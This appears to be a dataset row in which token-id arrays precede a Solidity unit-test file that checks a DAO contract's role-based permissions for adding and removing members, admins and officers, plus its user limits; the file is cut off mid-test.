0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
3885,
1832,
2713,
288,
203,
565,
1758,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
565,
389,
8443,
273,
1234,
12021,
31,
203,
565,
341,
362,
304,
12238,
273,
1234,
12021,
31,
203,
565,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
1234,
12021,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "./test.sol";
import "../contracts/Dao.sol";
import "../contracts/DaoContract.sol";
interface CheatCodes {
function prank(address) external;
function expectRevert(bytes calldata) external;
}
string constant NullString = "";
bytes constant NullBytes = "";
address constant NullAddress = address(0);
contract DaoTest is DSTest {
CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
Dao dao;
string public gDaoName = "MyDao";
address public gTopicAddress = 0x0000000000000000000000000000000000012345;
uint32 public gMaxUsers = 100000;
uint256 gBatchSize = 1000;
uint32 gAccessUpdateAuthIdentifier = 0x853d9ed4;
uint32 gRemovalAuthIdentifier = 0x04939f12;
uint32 gNotUserIdentifier = 0x51ef2234;
address[] public gUsers = [
address(0x1),
address(0x2),
address(0x3),
address(0x4),
address(0x5),
address(0x6),
address(0x7),
address(0x8),
address(0x9)];
receive() external payable { }
function setUp() public {
dao = new Dao(gDaoName, gTopicAddress, address(this));
}
// =================
// Utility Functions
// =================
function CreateErorrCallData(uint32 _identifier, uint256 _arg1) internal pure returns(bytes memory){
return abi.encodePacked(_identifier, _arg1);
}
function CreateErorrCallData(uint32 _identifier, uint256 _arg1, uint256 _arg2) internal pure returns(bytes memory){
return abi.encodePacked(_identifier, _arg1, _arg2);
}
function bytesCmp(bytes memory a, bytes memory b) public pure returns(bool){
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
function addAUserNoImpersonateNoRevert(address user, AccessType userLevel) public {
addAUserNoImpersonate(user, userLevel, NullBytes);
}
function addAUserNoImpersonateWithRevert(address user, AccessType userLevel, bytes memory revertMessage) public {
addAUserNoImpersonate(user, userLevel, revertMessage);
}
function addAUserNoImpersonate(address user, AccessType userLevel, bytes memory revertMessage) public {
addAUser(user, userLevel, NullAddress, revertMessage);
}
function addAUserWithImpersonateNoRevert(address user, AccessType userLevel, address impersonateAs) public {
addAUserWithImpersonate(user, userLevel, impersonateAs, NullBytes);
}
function addAUserWithImpersonateWithRevert(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
addAUserWithImpersonate(user, userLevel, impersonateAs, revertMessage);
}
function addAUserWithImpersonate(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
addAUser(user, userLevel, impersonateAs, revertMessage);
}
function addAUser(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
address[] memory param = new address[](1);
param[0] = user;
AccessType origUserLevel = dao.getUser(user);
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.addUser(param, userLevel);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(userLevel));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function removeAUserNoImpersonateNoRevert(address user) public {
removeAUserNoImpersonate(user, NullBytes);
}
function removeAUserNoImpersonateWithRevert(address user, bytes memory revertMessage) public {
removeAUserNoImpersonate(user, revertMessage);
}
function removeAUserNoImpersonate(address user, bytes memory revertMessage) public {
removeAUser(user, NullAddress, revertMessage);
}
function removeAUserWithImpersonateNoRevert(address user, address impersonateAs) public {
removeAUserWithImpersonate(user, impersonateAs, NullBytes);
}
function removeAUserWithImpersonateWithRevert(address user, address impersonateAs, bytes memory revertMessage) public {
removeAUserWithImpersonate(user, impersonateAs, revertMessage);
}
function removeAUserWithImpersonate(address user, address impersonateAs, bytes memory revertMessage) public {
removeAUser(user, impersonateAs, revertMessage);
}
function removeAUser(address user, address impersonateAs, bytes memory revertMessage) public {
address[] memory param = new address[](1);
param[0] = user;
AccessType origUserLevel = dao.getUser(user);
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeUser(param);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(0));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function removeUsersNoImpersonateNoRevert(address[] memory users) public {
removeUsersNoImpersonate(users, NullBytes);
}
function removeUsersNoImpersonateWithRevert(address[] memory users, bytes memory revertMessage) public {
removeUsersNoImpersonate(users, revertMessage);
}
function removeUsersNoImpersonate(address[] memory users, bytes memory revertMessage) public {
removeUsers(users, NullAddress, revertMessage);
}
function removeUsersWithImpersonateNoRevert(address[] memory users, address impersonateAs) public {
removeUsersWithImpersonate(users, impersonateAs, NullBytes);
}
function removeUsersWithImpersonateWithRevert(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
removeUsersWithImpersonate(users, impersonateAs, revertMessage);
}
function removeUsersWithImpersonate(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
removeUsers(users, impersonateAs, revertMessage);
}
function removeUsers(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
AccessType[] memory originalUserLevels = new AccessType[](users.length);
for (uint i = 0; i < users.length; i++){
originalUserLevels[i] = dao.getUser(users[i]);
}
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeUser(users);
if(expectSuccess){
for(uint i = 0; i < users.length; i++){
assertEq(uint(dao.getUser(users[i])), uint(0));
}
} else {
for (uint i = 0; i < users.length; i++){
assertEq(uint(dao.getUser(users[i])), uint(originalUserLevels[i]));
}
}
}
function removeAnOfficerNoImpersonateNoRevert(address user) public {
removeAnOfficerNoImpersonate(user, NullBytes);
}
function removeAnOfficerNoImpersonateWithRevert(address user, bytes memory revertMessage) public {
removeAnOfficerNoImpersonate(user, revertMessage);
}
function removeAnOfficerNoImpersonate(address user, bytes memory revertMessage) public {
removeAnOfficer(user, NullAddress, revertMessage);
}
function removeAnOfficerWithImpersonateNoRevert(address user, address impersonateAs) public {
removeAnOfficerWithImpersonate(user, impersonateAs, NullBytes);
}
function removeAnOfficerWithImpersonateWithRevert(address user, address impersonateAs, bytes memory revertMessage) public {
removeAnOfficerWithImpersonate(user, impersonateAs, revertMessage);
}
function removeAnOfficerWithImpersonate(address user, address impersonateAs, bytes memory revertMessage) public {
removeAnOfficer(user, impersonateAs, revertMessage);
}
function removeAnOfficer(address user, address impersonateAs, bytes memory revertMessage) public {
bool expectSuccess = true;
AccessType origUserLevel = dao.getUser(user);
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeOfficer(user);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(0));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function addMaxUsers(bool batched, AccessType level, uint256 batchSize) public {
uint160 i;
uint32 batches;
uint256 numUsersToAdd = gMaxUsers - dao.getUserCount();
// Force non batched if maxUsers is less than batchSize
if (gMaxUsers < batchSize){
batched = false;
}
if(batched){
address[] memory batch = new address[](batchSize);
// Add users in batches minus the last batch witch may be
// not a whole batch of batchSize.
for ( ;i < (numUsersToAdd - numUsersToAdd % batchSize); i++){
// Add user to batch
batch[i%batch.length] = address(i);
// Only send the batch to the contract when its full
if((i%batch.length) == (batch.length-1)){
emit log_named_uint("Batch", batches++);
dao.addUser(batch, level);
}
}
}
// If batched, now send final batch (not full batch)
// If non batched, send all users now in a single batch
if((numUsersToAdd - i) > 0) {
address[] memory finalBatch = new address[](numUsersToAdd - i);
for (uint160 j = 0; i < numUsersToAdd; i++)
{
finalBatch[j++] = address(i);
}
emit log_named_uint("- Batch", batches++);
dao.addUser(finalBatch, level);
}
assertEq(dao.getUserCount(), gMaxUsers);
}
// ===================================================
// ============
// Test getters
// ============
function testGetDaoNameBase() public {
assertEq(dao.getDaoName(), gDaoName);
}
function testGetMaxUsersBase() public {
assertEq(dao.getMaxUsers(), gMaxUsers);
}
function testGetTopicAddressBase() public {
assertEq(dao.getTopicAddress(), gTopicAddress);
}
function testGetUserCountBase() public {
assertEq(dao.getUserCount(), 1);
}
function testGetUserBase() public {
assertEq(uint(dao.getUser(address(this))), uint(AccessType.Officer));
}
function testGetBalance() public {
assertEq(dao.getBalance(), 0);
}
// ============
// Test setters
// ============
function testSetMaxUsers() public {
uint32 newMaxUsers = 500000;
dao.setMaxUsers(newMaxUsers);
assertEq(dao.getMaxUsers(), newMaxUsers);
dao.setMaxUsers(gMaxUsers);
assertEq(dao.getMaxUsers(), gMaxUsers);
}
function testSetMaxUsersAsNonOwner() public {
cheats.prank(gUsers[1]);
cheats.expectRevert('Only owner is allowed');
dao.setMaxUsers(1234);
}
// ==================================
// Test adding Member user via addUser
// ==================================
function testAddUserMemberAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
}
function testAddUserMemberAsMember() public {
// Add gUsers[1] as a member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test adding Admin user via addUser
// ==================================
function testAddUserAdminAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
}
function testAddUserAdminAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ====================================
// Test adding Officer user via addUser
// ====================================
function testAddUserOfficerAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
cheats.prank(gUsers[1]);
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =========================================
// Test removing Member user via removeUser
// =========================================
function testRemoveUserMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserMemberAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserMemberAsOfficer() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
// =========================================
// Test removing Admin user via removeUser
// =========================================
function testRemoveUserAdminAsOwner() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserAdminAsAdmin() public {
// Add gUsers[1] and gUsers[2] as Admins
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
// =========================================
// Test removing Officer user via removeUser
// =========================================
function testRemoveUserOfficerAsOwner() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Admin), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserOfficerAsAdmin() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Admin
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserOfficerAsOfficer() public {
// Add gUsers[1] and gUsers[2] as Officers
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Officer
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
// ============================================
// Test removing Officer user via removeOfficer
// ============================================
function testRemoveOfficerAsOwner() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as the owner
removeAnOfficerNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveOfficerAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
function testRemoveOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
function testRemoveOfficerAsOfficer() public {
// Add gUsers[1] and gUsers[2] as Officers
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAnOfficerWithImpersonateWithRevert(gUsers[2], gUsers[1], "Only owner is allowed");
assertEq(dao.getUserCount(), 3);
}
// ==========================
// Test Adding MaxUsers Users
// ==========================
function testAddMaxUsersAsMemberBatched() public {
addMaxUsers(true, AccessType.Member, gBatchSize);
}
function testAddMaxUsersAsMemberNonBatched() public {
addMaxUsers(false, AccessType.Member, gBatchSize);
}
function testAddMaxUsersAsAdminBatched() public {
addMaxUsers(true, AccessType.Admin, gBatchSize);
}
function testAddMaxUsersAsAdminNonBatched() public {
addMaxUsers(false, AccessType.Admin, gBatchSize);
}
function testAddMaxUsersAsOfficerBatched() public {
addMaxUsers(true, AccessType.Officer, gBatchSize);
}
function testAddMaxUsersAsOfficerNonBatched() public {
addMaxUsers(false, AccessType.Officer, gBatchSize);
}
// ============================
// Test Adding MaxUsers+1 Users
// ============================
function testAddMaxUsersPlusAddMemberBatched() public {
addMaxUsers(true, AccessType.Member, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Member, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddMemberNonBatched() public {
addMaxUsers(false, AccessType.Member, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Member, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddAdminBatched() public {
addMaxUsers(true, AccessType.Admin, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Admin, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddAdminNonBatched() public {
addMaxUsers(false, AccessType.Admin, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Admin, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddOfficerBatched() public {
addMaxUsers(true, AccessType.Officer, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Officer, "Max Users Exceeded");
}
function testAddMaxUsersPlusAddOfficerNonBatched() public {
addMaxUsers(false, AccessType.Officer, gBatchSize);
addAUserNoImpersonateWithRevert(address(uint160(gMaxUsers+1)), AccessType.Officer, "Max Users Exceeded");
}
// ===============================
// Test Adding a Member user twice
// ===============================
function testAddUserTwiceMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as a member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceMemberAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ===============================
// Test Adding an Admin user twice
// ===============================
function testAddUserTwiceAdminAsOwner() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceAdminAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =================================
// Test Adding an Officer user twice
// =================================
function testAddUserTwiceOfficerAsOwner() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Try to add gUsers[1] again as an Officer
addAUserNoImpersonateWithRevert(gUsers[1], AccessType.Officer, CreateErorrCallData(gAccessUpdateAuthIdentifier, uint256(AccessType.Admin), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testAddUserTwiceOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as a Member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Have gUsers[1] try to add gUsers[2] again as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 3);
}
function testAddUserTwiceOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
